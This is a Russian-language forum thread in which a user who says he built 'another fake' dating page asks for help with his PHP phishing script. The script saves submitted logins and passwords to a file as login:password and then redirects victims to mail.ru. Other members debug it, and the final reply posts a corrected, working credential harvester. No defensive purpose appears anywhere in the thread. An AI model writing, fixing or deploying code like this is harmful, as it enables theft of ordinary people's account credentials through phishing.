сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка? <?PHP $Login = $_POST['Login'];//????? $Pass = $_POST['Password'];//?????? $fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü fclose($fp); // Çàêðûâàåì ôàéë header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html ?>
Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password
сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё...... <?PHP $Login = $_POST['Login'];//????? $Pass = $_POST['Password'];//?????? $fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü fclose($fp); // Çàêðûâàåì ôàéë header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????! ?>
как уже говорили проверь в форме названия инпутов "Login", "Password". Возможно данные с формы передаються методом get. Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']
Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять?? fwrite($fp,$Login,":",$Passw);
если би хоть кто-то запустил, он би увидел ошибку Code: <?php $Login = $_POST['Login']; $Pass = $_POST['Password']; $fp = fopen("654321","a+"); fwrite($fp,"$Login:$Passw\n"); fclose($fp); header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html[size=4][b][color=red]");[/color][/b][/size] ?> видимо автор тупо скопировал скрипт p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!
4adr0s, int fwrite ( resource $handle, string $string [, int $length] ) $handle - хендл файла $string - строка которую хочешь записать $length - длина строки (этот параметр не объязателен) т.е. максимум 3 параметра а у тебя параметров 4
PHP: <?php if (isset($_POST['Login']) && isset($_POST['Password'])) { $Login = $_POST['Login']; $Pass = $_POST['Password']; $fp = fopen("654321","a+"); fwrite($fp,"$Login:$Pass\n"); fclose($fp); } echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html"; ?> и не говори что не работает! все проверил, все окей!